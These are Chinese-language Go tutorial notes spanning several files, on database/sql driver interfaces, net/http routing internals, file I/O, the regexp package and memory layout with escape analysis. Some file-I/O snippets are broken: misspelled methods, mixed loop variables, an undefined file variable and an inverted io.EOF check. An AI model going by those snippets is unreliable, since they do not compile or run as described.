#### 1.1 接口介绍
Go官方没有提供数据库驱动而是为开发数据库驱动定义了一些标准接口开发者可以根据定义的接口来开发相应的数据库驱动这样做的好处是框架迁移极其方便
Go数据库标准包位于以下两个包中
- database/sql提供了保证SQL或类SQL数据库的泛用接口
- database/sql/driver定义了应被数据库驱动实现的接口这些接口会被sql包使用
#### 1.2 sql.Register
sql.Register位于database/sql用来注册数据库驱动当第三方开发者开发数据库驱动时都会实现init函数在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册
我们来看一下mysqlsqlite3的驱动里面都是怎么调用的
```Go
//https://github.com/mattn/go-sqlite3驱动
func init() {
sql.Register("sqlite3", &SQLiteDriver{})
}
//https://github.com/mikespook/mymysql驱动
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
Register("SET NAMES utf8")
sql.Register("mymysql", &d)
}
```
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现在database/sql内部通过一个map来存储用户定义的相应驱动
```Go
var drivers = make(map[string]driver.Driver)
drivers[name] = driver
```
因此通过database/sql的注册函数可以同时注册多个数据库驱动只要不重复
>在我们使用database/sql接口和第三方库的时候经常看到如下:
> import (
> "database/sql"
> _ "github.com/mattn/go-sqlite3"
> )
>新手都会被这个`_`所迷惑其实这个就是Go设计的巧妙之处我们在变量赋值的时候经常看到这个符号它是用来忽略变量赋值的占位符那么包引入用到这个符号也是相似的作用这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数变量等资源
>我们在2.3节流程和函数一节中介绍过init函数的初始化过程包在引入的时候会自动调用包的init函数以完成对包的初始化因此我们引入上面的数据库驱动包之后会自动去调用init函数然后在init函数里面注册这个数据库驱动这样我们就可以在接下来的代码中直接使用这个数据库驱动了
#### 1.3 driver.Driver
Driver是一个数据库驱动的接口他定义了一个method Open(name string)这个方法返回一个数据库的Conn接口
```Go
type Driver interface {
Open(name string) (Conn, error)
}
```
返回的Conn只能用来进行一次goroutine的操作也就是说不能把这个Conn应用于Go的多个goroutine里面如下代码会出现错误
```Go
...
go goroutineA (Conn) //执行查询操作
go goroutineB (Conn) //执行插入操作
...
```
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据
第三方驱动都会定义这个函数它会解析name参数来获取相关数据库的连接信息解析完成后它将使用此信息来初始化一个Conn并返回它
#### 1.4 driver.Conn
Conn是一个数据库连接的接口定义他定义了一系列方法这个Conn只能应用在一个goroutine里面不能使用在多个goroutine里面详情请参考上面的说明
```Go
type Conn interface {
Prepare(query string) (Stmt, error)
Close() error
Begin() (Tx, error)
}
```
Prepare函数返回与当前连接相关的执行Sql语句的准备状态可以进行查询删除等操作
Close函数关闭当前的连接执行释放连接拥有的资源等清理工作因为驱动实现了database/sql里面建议的conn pool所以你不用再去实现缓存conn之类的这样会容易引起问题
Begin函数返回一个代表事务处理的Tx通过它你可以进行查询,更新等操作或者对事务进行回滚递交
#### 1.5 driver.Stmt
Stmt是一种准备好的状态和Conn相关联而且只能应用于一个goroutine中不能应用于多个goroutine
```Go
type Stmt interface {
Close() error
NumInput() int
Exec(args []Value) (Result, error)
Query(args []Value) (Rows, error)
}
```
Close函数关闭当前的链接状态但是如果当前正在执行queryquery还是有效返回rows数据
NumInput函数返回当前预留参数的个数当返回>=0时数据库驱动就会智能检查调用者的参数当数据库驱动包不知道预留参数的时候返回-1
Exec函数执行Prepare准备好的sql传入参数执行update/insert等操作返回Result数据
Query函数执行Prepare准备好的sql传入需要的参数执行select操作返回Rows结果集
#### 1.6 driver.Tx
事务处理一般就两个过程递交或者回滚数据库驱动里面也只需要实现这两个函数就可以
```Go
type Tx interface {
Commit() error
Rollback() error
}
```
这两个函数一个用来递交一个事务一个用来回滚事务
#### 1.7 driver.Execer
这是一个Conn可选择实现的接口
```Go
type Execer interface {
Exec(query string, args []Value) (Result, error)
}
```
如果这个接口没有定义那么在调用DB.Exec,就会首先调用Prepare返回Stmt然后执行Stmt的Exec然后关闭Stmt
#### 1.8 driver.Result
这个是执行Update/Insert等操作返回的结果接口定义
```Go
type Result interface {
LastInsertId() (int64, error)
RowsAffected() (int64, error)
}
```
LastInsertId函数返回由数据库执行插入操作得到的自增ID号
RowsAffected函数返回query操作影响的数据条目数
#### 1.9 driver.Rows
Rows是执行查询返回的结果集接口定义
```Go
type Rows interface {
Columns() []string
Close() error
Next(dest []Value) error
}
```
Columns函数返回查询数据库表的字段信息这个返回的slice和sql查询的字段一一对应而不是返回整个表的所有字段
Close函数用来关闭Rows迭代器
Next函数用来返回下一条数据把数据赋值给destdest里面的元素必须是driver.Value的值除了string返回的数据里面所有的string都必须要转换成[]byte如果最后没数据了Next函数最后返回io.EOF
#### 1.10 driver.RowsAffected
RowsAffected其实就是一个int64的别名但是他实现了Result接口用来底层实现Result的表示方式
```Go
type RowsAffected int64
func (RowsAffected) LastInsertId() (int64, error)
func (v RowsAffected) RowsAffected() (int64, error)
```
#### 1.11 driver.Value
Value其实就是一个空接口他可以容纳任何的数据
```Go
type Value interface{}
```
drive的Value是驱动必须能够操作的ValueValue要么是nil要么是下面的任意一种
```Go
int64
float64
bool
[]byte
string [*]除了Rows.Next返回的不能是string.
time.Time
```
#### 1.12 driver.ValueConverter
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
```Go
type ValueConverter interface {
ConvertValue(v interface{}) (Value, error)
}
```
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到这个ValueConverter有很多好处
- 转化driver.value到数据库表相应的字段例如int64的数据如何转化成数据库表uint16字段
- 把数据库查询结果转化成driver.Value值
- 在scan函数里面如何把driver.Value值转化成用户定义的值
#### 1.13 driver.Valuer
Valuer接口定义了返回一个driver.Value的方式
```Go
type Valuer interface {
Value() (Value, error)
}
```
很多类型都实现了这个Value方法用来自身与driver.Value的转化
通过上面的讲解你应该对于驱动的开发有了一个基本的了解一个驱动只要实现了这些接口就能完成增删查改等基本操作了剩下的就是与相应的数据库进行数据交互等细节问题了在此不再赘述
#### 1.14 database/sql
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法用以简化数据库操作,同时内部还建议性地实现一个conn pool
```Go
type DB struct {
driver driver.Driver
dsn string
mu sync.Mutex // protects freeConn and closed
freeConn []driver.Conn
closed bool
}
```
我们可以看到Open函数返回的是DB对象里面有一个freeConn它就是那个简易的连接池它的实现相当简单或者说简陋就是当执行`db.prepare` -> `db.prepareDC`的时候会`defer dc.releaseConn`然后调用`db.putConn`也就是把这个连接放入连接池每次调用`db.conn`的时候会先判断freeConn的长度是否大于0大于0说明有可以复用的conn直接拿出来用就是了如果不大于0则创建一个conn然后再返回之

243
07-标准库/http.md Normal file
View File

@ -0,0 +1,243 @@
## http包运行机制
![](../images/go/net-01.png)
服务端的几个概念:
```
Request用户请求的信息用来解析用户的请求信息包括postgetcookieurl等信息
Response服务器需要反馈给客户端的信息
Conn用户的每次请求链接
Handler处理请求和生成返回信息的处理逻辑
```
http包执行流程
- 1.创建Listen Socket, 监听指定的端口, 等待客户端请求到来
- 2.Listen Socket接受客户端的请求, 得到Client Socket, 接下来通过Client Socket与客户端通信
- 3.处理客户端的请求首先从Client Socket读取HTTP请求的协议头, 如果是POST方法, 还可能要读取客户端提交的数据, 然后交给相应的handler处理请求, handler处理完毕准备好客户端需要的数据, 通过Client Socket写给客户端
Go是通过一个函数`ListenAndServe`来处理这些事情的这个底层其实这样处理的初始化一个server对象然后调用了`net.Listen("tcp", addr)`也就是底层用TCP协议搭建了一个服务然后监控我们设置的端口
源码如下
```Go
func (srv *Server) Serve(l net.Listener) error {
defer l.Close()
var tempDelay time.Duration // how long to sleep on accept failure
for {
rw, e := l.Accept()
if e != nil {
if ne, ok := e.(net.Error); ok && ne.Temporary() {
if tempDelay == 0 {
tempDelay = 5 * time.Millisecond
} else {
tempDelay *= 2
}
if max := 1 * time.Second; tempDelay > max {
tempDelay = max
}
log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
time.Sleep(tempDelay)
continue
}
return e
}
tempDelay = 0
c, err := srv.newConn(rw)
if err != nil {
continue
}
go c.serve()
}
}
```
监控之后如何接收客户端的请求呢上面代码执行监控端口之后调用了`srv.Serve(net.Listener)`函数这个函数就是处理接收客户端的请求信息这个函数里面起了一个`for{}`首先通过Listener接收请求其次创建一个Conn最后单独开了一个goroutine把这个请求的数据当做参数扔给这个conn去服务`go c.serve()`这个就是高并发体现了用户的每一次请求都是在一个新的goroutine去服务相互不影响
那么如何具体分配到相应的函数来处理请求呢conn首先会解析request:`c.readRequest()`,然后获取相应的handler:`handler := c.server.Handler`也就是我们刚才在调用函数`ListenAndServe`时候的第二个参数我们前面例子传递的是nil也就是为空那么默认获取`handler = DefaultServeMux`,那么这个变量用来做什么的呢这个变量就是一个路由器它用来匹配url跳转到其相应的handle函数那么这个我们有设置过吗?我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`这个作用就是注册了请求`/`的路由规则当请求uri为"/"路由就会转到函数sayhelloNameDefaultServeMux会调用ServeHTTP方法这个方法内部其实就是调用sayhelloName本身最后通过写入response的信息反馈到客户端
![](../images/go/net-02.png)
## http包详解
Go的http有两个核心功能ConnServeMux
与我们一般编写的http服务器不同, Go为了实现高并发和高性能, 使用了goroutines来处理Conn的读写事件, 这样每个请求都能保持独立相互不会阻塞可以高效的响应网络事件这是Go高效的保证
Go在等待客户端请求里面是这样写的
```Go
c, err := srv.newConn(rw)
if err != nil {
continue
}
go c.serve()
```
这里我们可以看到客户端的每次请求都会创建一个Conn这个Conn里面保存了该次请求的信息然后再传递到对应的handler该handler中便可以读取到相应的header信息这样保证了每个请求的独立性
conn.server内部是调用了http包默认的路由器通过路由器把本次请求的信息传递到了后端的处理函数那么这个路由器是怎么实现的呢
它的结构如下
```Go
type ServeMux struct {
mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制
m map[string]muxEntry // 路由规则一个string对应一个mux实体这里的string就是注册的路由表达式
hosts bool // 是否在任意的规则中带有host信息
}
```
下面看一下muxEntry
```Go
type muxEntry struct {
explicit bool // 是否精确匹配
h Handler // 这个路由表达式对应哪个handler
pattern string //匹配字符串
}
```
接着看一下Handler的定义
```Go
type Handler interface {
ServeHTTP(ResponseWriter, *Request) // 路由实现器
}
```
Handler是一个接口在http包里面还定义了一个类型`HandlerFunc`,默认就实现了ServeHTTP这个接口即我们调用了HandlerFunc(f)
```Go
type HandlerFunc func(ResponseWriter, *Request)
// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r)
}
```
路由器里面存储好了相应的路由规则之后那么具体的请求又是怎么分发的呢请看下面的代码默认的路由器实现了`ServeHTTP`
```Go
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
if r.RequestURI == "*" {
w.Header().Set("Connection", "close")
w.WriteHeader(StatusBadRequest)
return
}
h, _ := mux.Handler(r)
h.ServeHTTP(w, r)
}
```
如上所示路由器接收到请求之后如果是`*`那么关闭链接不然调用`mux.Handler(r)`返回对应设置路由的处理Handler然后执行`h.ServeHTTP(w, r)`
也就是调用对应路由的handler的ServerHTTP接口那么mux.Handler(r)怎么处理的呢
```Go
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {
if r.Method != "CONNECT" {
if p := cleanPath(r.URL.Path); p != r.URL.Path {
_, pattern = mux.handler(r.Host, p)
return RedirectHandler(p, StatusMovedPermanently), pattern
}
}
return mux.handler(r.Host, r.URL.Path)
}
func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {
mux.mu.RLock()
defer mux.mu.RUnlock()
// Host-specific pattern takes precedence over generic ones
if mux.hosts {
h, pattern = mux.match(host + path)
}
if h == nil {
h, pattern = mux.match(path)
}
if h == nil {
h, pattern = NotFoundHandler(), ""
}
return
}
```
原来他是根据用户请求的URL和路由器里面存储的map去匹配的当匹配到之后返回存储的handler调用这个handler的ServeHTTP接口就可以执行到相应的函数了
通过上面这个介绍我们了解了整个路由过程Go其实支持外部实现的路由器 `ListenAndServe`的第二个参数就是用以配置外部路由器的它是一个Handler接口即外部路由器只要实现了Handler接口就可以,我们可以在自己实现的路由器的ServeHTTP里面实现自定义路由功能
如下代码所示我们自己实现了一个简易的路由器
```Go
package main
import (
"fmt"
"net/http"
)
type MyMux struct {
}
func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/" {
sayhelloName(w, r)
return
}
http.NotFound(w, r)
return
}
func sayhelloName(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello myroute!")
}
func main() {
mux := &MyMux{}
http.ListenAndServe(":9090", mux)
}
```
Go代码执行流程梳理
- 首先调用Http.HandleFunc
按顺序做了几件事
1 调用了DefaultServeMux的HandleFunc
2 调用了DefaultServeMux的Handle
3 往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则
- 其次调用http.ListenAndServe(":9090", nil)
按顺序做了几件事情
1 实例化Server
2 调用Server的ListenAndServe()
3 调用net.Listen("tcp", addr)监听端口
4 启动一个for循环在循环体中Accept请求
5 对每个请求实例化一个Conn并且开启一个goroutine为这个请求进行服务go c.serve()
6 读取每个请求的内容w, err := c.readRequest()
7 判断handler是否为空如果没有设置handler这个例子就没有设置handlerhandler就设置为DefaultServeMux
8 调用handler的ServeHttp
9 在这个例子中下面就进入到DefaultServeMux.ServeHttp
10 根据request选择handler并且进入到这个handler的ServeHTTP
mux.handler(r).ServeHTTP(w, r)
11 选择handler
A 判断是否有路由能满足这个request循环遍历ServeMux的muxEntry
B 如果有路由满足调用这个路由handler的ServeHTTP
C 如果没有路由满足调用NotFoundHandler的ServeHTTP

192
07-标准库/io.md Normal file
View File

@ -0,0 +1,192 @@
## 文件操作
#### 1.1 目录操作
文件操作的大多数函数都是在os包里面下面列举了几个目录操作的
- func Mkdir(name string, perm FileMode) error
创建名称为name的目录权限设置是perm例如0777
- func MkdirAll(path string, perm FileMode) error
根据path创建多级子目录
- func Remove(name string) error
删除名称为name的目录当目录下有文件或者其他目录时会出错
- func RemoveAll(path string) error
根据path删除多级子目录如果path是单个名称那么该目录下的子目录全部删除
实例
```Go
package main
import (
"fmt"
"os"
)
func main() {
os.Mkdir("test", 0777)
os.MkdirAll("test/test1/test2", 0777)
err := os.Remove("test")
if err != nil {
fmt.Println(err)
}
os.RemoveAll("test")
}
```
#### 1.2 新建文件
新建文件可以通过如下两个方法
- func Create(name string) (file *File, err Error)
根据提供的文件名创建新的文件返回一个文件对象默认权限是0666的文件返回的文件对象是可读写的
- func NewFile(fd uintptr, name string) *File
根据文件描述符创建相应的文件返回一个文件对象
#### 1.3 打开文件
- func Open(name string) (file *File, err Error)
该方法打开一个名称为name的文件但是是只读方式内部实现其实调用了OpenFile
- func OpenFile(name string, flag int, perm uint32) (file *File, err Error)
打开名称为name的文件flag是打开的方式只读读写等perm是权限
#### 1.4 写文件
写文件函数
- func (file *File) Write(b []byte) (n int, err Error)
写入byte类型的信息到文件
- func (file *File) WriteAt(b []byte, off int64) (n int, err Error)
在指定位置开始写入byte类型的信息
- func (file *File) WriteString(s string) (ret int, err Error)
写入string信息到文件
写文件的示例代码
```Go
package main
import (
"fmt"
"os"
)
func main() {
userFile := "test.txt"
fout, err := os.Create(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fout.Close()
for i := 0; i < 10; i++ {
fout.WriteString("Just a test!\r\n")
fout.Write([]byte("Just a test!\r\n"))
}
}
```
带缓冲的写入
```go
file, err := os.Openfile(path, O_WRONLY | O_CREATE, 0666)
if err != nil {
fmt.Printf("%v", err)
return
}
defer file.Close()
writer := bufio.NewWriter(file)
for l := 0; i < 5; i++ {
writer.Writetring("hello\n")
}
writer.Flush()
```
#### 1.5 读文件
读文件函数
- func (file *File) Read(b []byte) (n int, err Error)
读取数据到b中
- func (file *File) ReadAt(b []byte, off int64) (n int, err Error)
从off开始读取数据到b中
读文件的示例代码:
```Go
package main
import (
"fmt"
"os"
)
func main() {
userFile := "test.txt"
fl, err := os.Open(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fl.Close() //当程序退出时defer需要关闭文件否则容易产生内存泄漏
buf := make([]byte, 1024)
for {
n, _ := fl.Read(buf)
if 0 == n {
break
}
os.Stdout.Write(buf[:n])
}
}
```
带缓冲的大文件读取
```go
userFile := "test.txt"
fl, err := os.Open(userFile)
if err != nil {
fmt.Println(userFile, err)
return
}
defer fl.Close()
reader := bufio.NewReader(file)
for {
str, err := reader.ReadString("\n") //读到换行就结束一次
if err != io.EOF { //io.EOF表示问价末尾
break
}
//输出内容
fmt.Print(str)
}
```
一次性读取小型文件到内存中该方法内部封装了open和close
```
file := "d:/test.txt"
content, err := ioutil.ReadFile(file)
if err != nil {
fmt.Printf("%v",err)
}
fmt.Prinf("%v",string(content))
```

237
07-标准库/regexp.md Normal file
View File

@ -0,0 +1,237 @@
## 通过正则判断是否匹配
`regexp`包中含有三个函数用来判断是否匹配如果匹配返回true否则返回false
```Go
func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)
```
上面的三个函数实现了同一个功能就是判断`pattern`是否和输入源匹配匹配的话就返回true如果解析正则出错则返回error三个函数的输入源分别是byte sliceRuneReader和string
如果要验证一个输入是不是IP地址那么如何来判断呢请看如下实现
```Go
func IsIP(ip string) (b bool) {
if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
return false
}
return true
}
```
可以看到`regexp`的pattern和我们平常使用的正则一模一样再来看一个例子当用户输入一个字符串我们想知道是不是一次合法的输入
```Go
func main() {
if len(os.Args) == 1 {
fmt.Println("Usage: regexp [string]")
os.Exit(1)
} else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
fmt.Println("数字")
} else {
fmt.Println("不是数字")
}
}
```
在上面的两个小例子中我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求它们使用起来非常方便
## 通过正则获取内容
Match模式只能用来对字符串的判断而无法截取字符串的一部分过滤字符串或者提取出符合条件的一批字符串如果想要满足这些需求那就需要使用正则表达式的复杂模式
我们经常需要一些爬虫程序下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据
```Go
package main
import (
"fmt"
"io/ioutil"
"net/http"
"regexp"
"strings"
)
func main() {
resp, err := http.Get("http://www.baidu.com")
if err != nil {
fmt.Println("http get error.")
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("http read error")
return
}
src := string(body)
//将HTML标签全转换成小写
re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
src = re.ReplaceAllStringFunc(src, strings.ToLower)
//去除STYLE
re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
src = re.ReplaceAllString(src, "")
//去除SCRIPT
re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
src = re.ReplaceAllString(src, "")
//去除所有尖括号内的HTML代码并换成换行符
re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
src = re.ReplaceAllString(src, "\n")
//去除连续的换行符
re, _ = regexp.Compile("\\s{2,}")
src = re.ReplaceAllString(src, "\n")
fmt.Println(strings.TrimSpace(src))
}
```
从这个示例可以看出使用复杂的正则首先是Compile它会解析正则表达式是否合法如果正确那么就会返回一个Regexp然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作
解析正则表达式的有如下几个方法
```Go
func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp
```
CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法它使用最左最长方式搜索而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式应用于"aa09aaa88aaaa"这个文本串时CompilePOSIX返回了aaaa而Compile的返回的是aa)前缀有Must的函数表示在解析正则语法的时候如果匹配模式串不满足正确的语法则直接panic而不加Must的则只是返回错误
在了解了如何新建一个Regexp之后我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串首先我们来看下面这些用来搜索的函数
```Go
func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int
```
上面这18个函数我们根据输入源(byte slicestring和io.RuneReader)不同还可以继续简化成如下几个其他的只是输入源不一样其他功能基本是一样的
```Go
func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int
```
对于这些函数的使用我们来看下面这个例子
```Go
package main
import (
"fmt"
"regexp"
)
func main() {
a := "I am learning Go language"
re, _ := regexp.Compile("[a-z]{2,4}")
//查找符合正则的第一个
one := re.Find([]byte(a))
fmt.Println("Find:", string(one))
//查找符合正则的所有slice,n小于0表示返回全部符合的字符串不然就是返回指定的长度
all := re.FindAll([]byte(a), -1)
fmt.Println("FindAll", all)
//查找符合条件的index位置,开始位置和结束位置
index := re.FindIndex([]byte(a))
fmt.Println("FindIndex", index)
//查找符合条件的所有的index位置n同上
allindex := re.FindAllIndex([]byte(a), -1)
fmt.Println("FindAllIndex", allindex)
re2, _ := regexp.Compile("am(.*)lang(.*)")
//查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的
//下面的输出第一个元素是"am learning Go language"
//第二个元素是" learning Go ",注意包含空格的输出
//第三个元素是"uage"
submatch := re2.FindSubmatch([]byte(a))
fmt.Println("FindSubmatch", submatch)
for _, v := range submatch {
fmt.Println(string(v))
}
//定义和上面的FindIndex一样
submatchindex := re2.FindSubmatchIndex([]byte(a))
fmt.Println(submatchindex)
//FindAllSubmatch,查找所有符合条件的子匹配
submatchall := re2.FindAllSubmatch([]byte(a), -1)
fmt.Println(submatchall)
//FindAllSubmatchIndex,查找所有字匹配的index
submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
fmt.Println(submatchallindex)
}
```
前面介绍过匹配函数Regexp也定义了三个函数它们和同名的外部函数功能一模一样其实外部函数就是调用了这Regexp的三个函数来实现的
```Go
func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool
```
接下里让我们来了解替换函数是怎么操作的
```Go
func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string
```
这些替换函数我们在上面的抓网页的例子有详细应用示例
接下来我们看一下Expand的解释
```Go
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte
```
那么这个Expand到底用来干嘛的呢请看下面的例子
```Go
func main() {
src := []byte(`
call hello alice
hello bob
call hello eve
`)
pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
res := []byte{}
for _, s := range pat.FindAllSubmatchIndex(src, -1) {
res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
}
fmt.Println(string(res))
}
```

View File

@ -0,0 +1,86 @@
## 前置知识
操作系统的每个进程都认为自己可以访问计算机的所有物理内存但由于计算机必定运行着多个程序每个进程都不能拥有全部内存
> 为了避免了进程直接访问实际的物理地址操作系统会将物理内存虚拟为一个数组每个元素都有一个唯一的物理地址PA
> 物理存储其器中存储着一个页表page table该表即虚拟地址与物理地址的映射表读取该也表即可完成地址翻译
假设一个程序访问地址为0x1001的内存实际上该数据并不一定是存储在0x1001的物理地址中甚至也不在物理内存中如果物理内存满了则可以转移到磁盘上这些地址不必反映真实的物理地址可以称为虚拟内存
## 内存分区
### 1.0 程序的内存使用
现在使用命令来查看Go程序的内存使用
```
go build main.go
size main
```
此时会显示Go程序在未启动时内存的使用情况
![](../images/go/runtime-01.png)
此时可执行程序内部已经分好了三段信息分别为
- text 代码区
- data 数据区
- bss 未初始化数据区
贴士
data和bss区域可以一起称呼为静态区/全局区
- 上述三个区域大小都是固定的
程序在执行后会额外增加栈区堆区
### 1.1 text 代码区
代码区用于存放CPU执行的机器指令一般情况下代码区具备以下特性
- **共享**即可以提供给其他程序调用这样就可以让代码区的数据在内存中只存放一份即可有效节省空间
- **只读**用于放置程序修改其指令
- 规划局部变量信息
### 1.2 data 数据区
数据区用于存储数据
- 被初始化后的全局变量
- 被初始化后的静态变量包含全局静态变量局部静态变量
- 常量数据如字符串常量
### 1.3 bss 未初始化数据区
未初始化数据区用于存储
- 全局未初始化变量
- 未初始化静态变量
如果是C语言未初始化却被使用了这会产生一个随机的值Go语言中为了防止C的这种现象该区域的数据会在程序执行之前被初始化为零值0或者空
### 1.4 stack 栈区
栈是一种先进后出FILO的内存结构由编译器自动进行分配和释放一般用于存储函数的参数值返回值局部变量等栈区大小一般只有1M也可以实现扩充
- Windows最大可以扩充为10M
- Linux最大可以扩充为16M
### 1.5 heap 堆区
栈的内存空间非常小当我们遇到一些大文件读取时栈区是不够存储的这时候就会用到堆区堆区空间比较大其大小与计算机硬件的内存大小有关
堆区没有栈的先进后出的规则位于BSS区域栈区之间用于内存的动态分配
在CC++等语言中该部分内存由程序员手动分配c中的malloc函数c++中的new函数和释放C中的free函数C++的delete函数如果不释放可能会造成内存泄露但是程序结束时操作系统会进行回收
在JavaGoJavaScript中都有垃圾回收机制(GC)可以实现内存的自动释放
注意Go语言与其他语言不同对栈区堆区进行虚拟管理
### 1.6 操作系统内存分配图
操作系统会为每个进程分配一定的内存地址空间如图所示
![](../images/go/runtime-02.svg)
上图所示的是32位系统中虚拟内存的分配方式不同系统分配的虚拟内存是不同的但是其数据所占区域的比例是相同的
- 32最大内存地址为2<sup>32</sup>这么多的字节数换算为G单位即为4G换算为1G=1024MB=1024*1024KB=1024*1024*1024B
- 64最大内存地址为2<sup>64</sup>这么多的字节数换算为G单位数值过大不便图示
注意**栈区是从高地址往低地址存储的**

View File

@ -0,0 +1,146 @@
## 变量逃逸
由于栈的性能相对较高变量是分配到了栈还是堆中对程序的性能和安全有较大影响
逃逸分析是一种确定指针动态范围的方法用来分析程序的哪些地方可以访问到指针当一个变量或对象在子程序中分配内存时一个指向变量或对象的指针可能逃逸到其他执行线程中甚至去调用子程序
指针逃逸一个对象的指针在任何一个地方都可以访问到
逃逸分析的结果可以用来保证指针的声明周期只在当前进程或线程中
```go
func toHeap() *int {
var x int
return &x
}
func toStack() int {
x := new(int)
*x = 1
return *x
}
func main() {
}
```
上述两个函数分别创建了2个变量但是申请的位置是不一样的打开逃逸分析日志
```
go run -gcflags '-m -l' main.go
# command-line-arguments
./main.go:4:6: moved to heap: x
./main.go:9:10: toStack new(int) does not escape
```
如上所示toHeap()中的x分配到了堆上toStack()中的x最后分配到了栈上`does not escape` 表示未逃逸同样是变量内存的申请两个函数获得的位置却是不一样的
这是因为go在一定程序上消除了堆和栈的区别在编译的时候会自动进行变量逃逸分析不逃逸的对象就放到栈上可能逃逸的对象就放到堆上
- 一般情况下函数的局部变量会分配到函数栈上
- 变量在函数return之后还被引用会被分配到堆上比如上述的案例`toHeap()`
Go的GC判断变量是否回收的实现思路从每个包级的变量每个当前运行的函数的局部变量开始通过指针和引用的访问路径遍历是否可以找到该变量如果不存在这样的访问路径那么说明该变量是不可达的也就是说它是否存在并不会影响后续计算结果
示例
```go
var global *int
func f() {
var x int
x = 1
global = &x
}
func g() {
y := new(int)
*y = 1
}
```
上述的函数调用结果说明
- 虽然x变量定义在f函数内部但是其必定在堆上分配因为函数退出后仍然能通过包一级变量global找到这样的变量我们称之为从函数f中逃逸了
- g函数返回时变量*y不可达因此没有从函数g中逃逸其内存分配在栈上会马上被被回收当然也可以选择在堆上分配然后由Go语言的GC回收这个变量的内存空间
## 变量逃逸分析案例
### 2.1 案例一
在C++开发者需要自己手动分配内存来适应不同的算法需求比如函数局部变量尽量使用栈函数退出内部变量也依次退出全局变量结构体使用堆
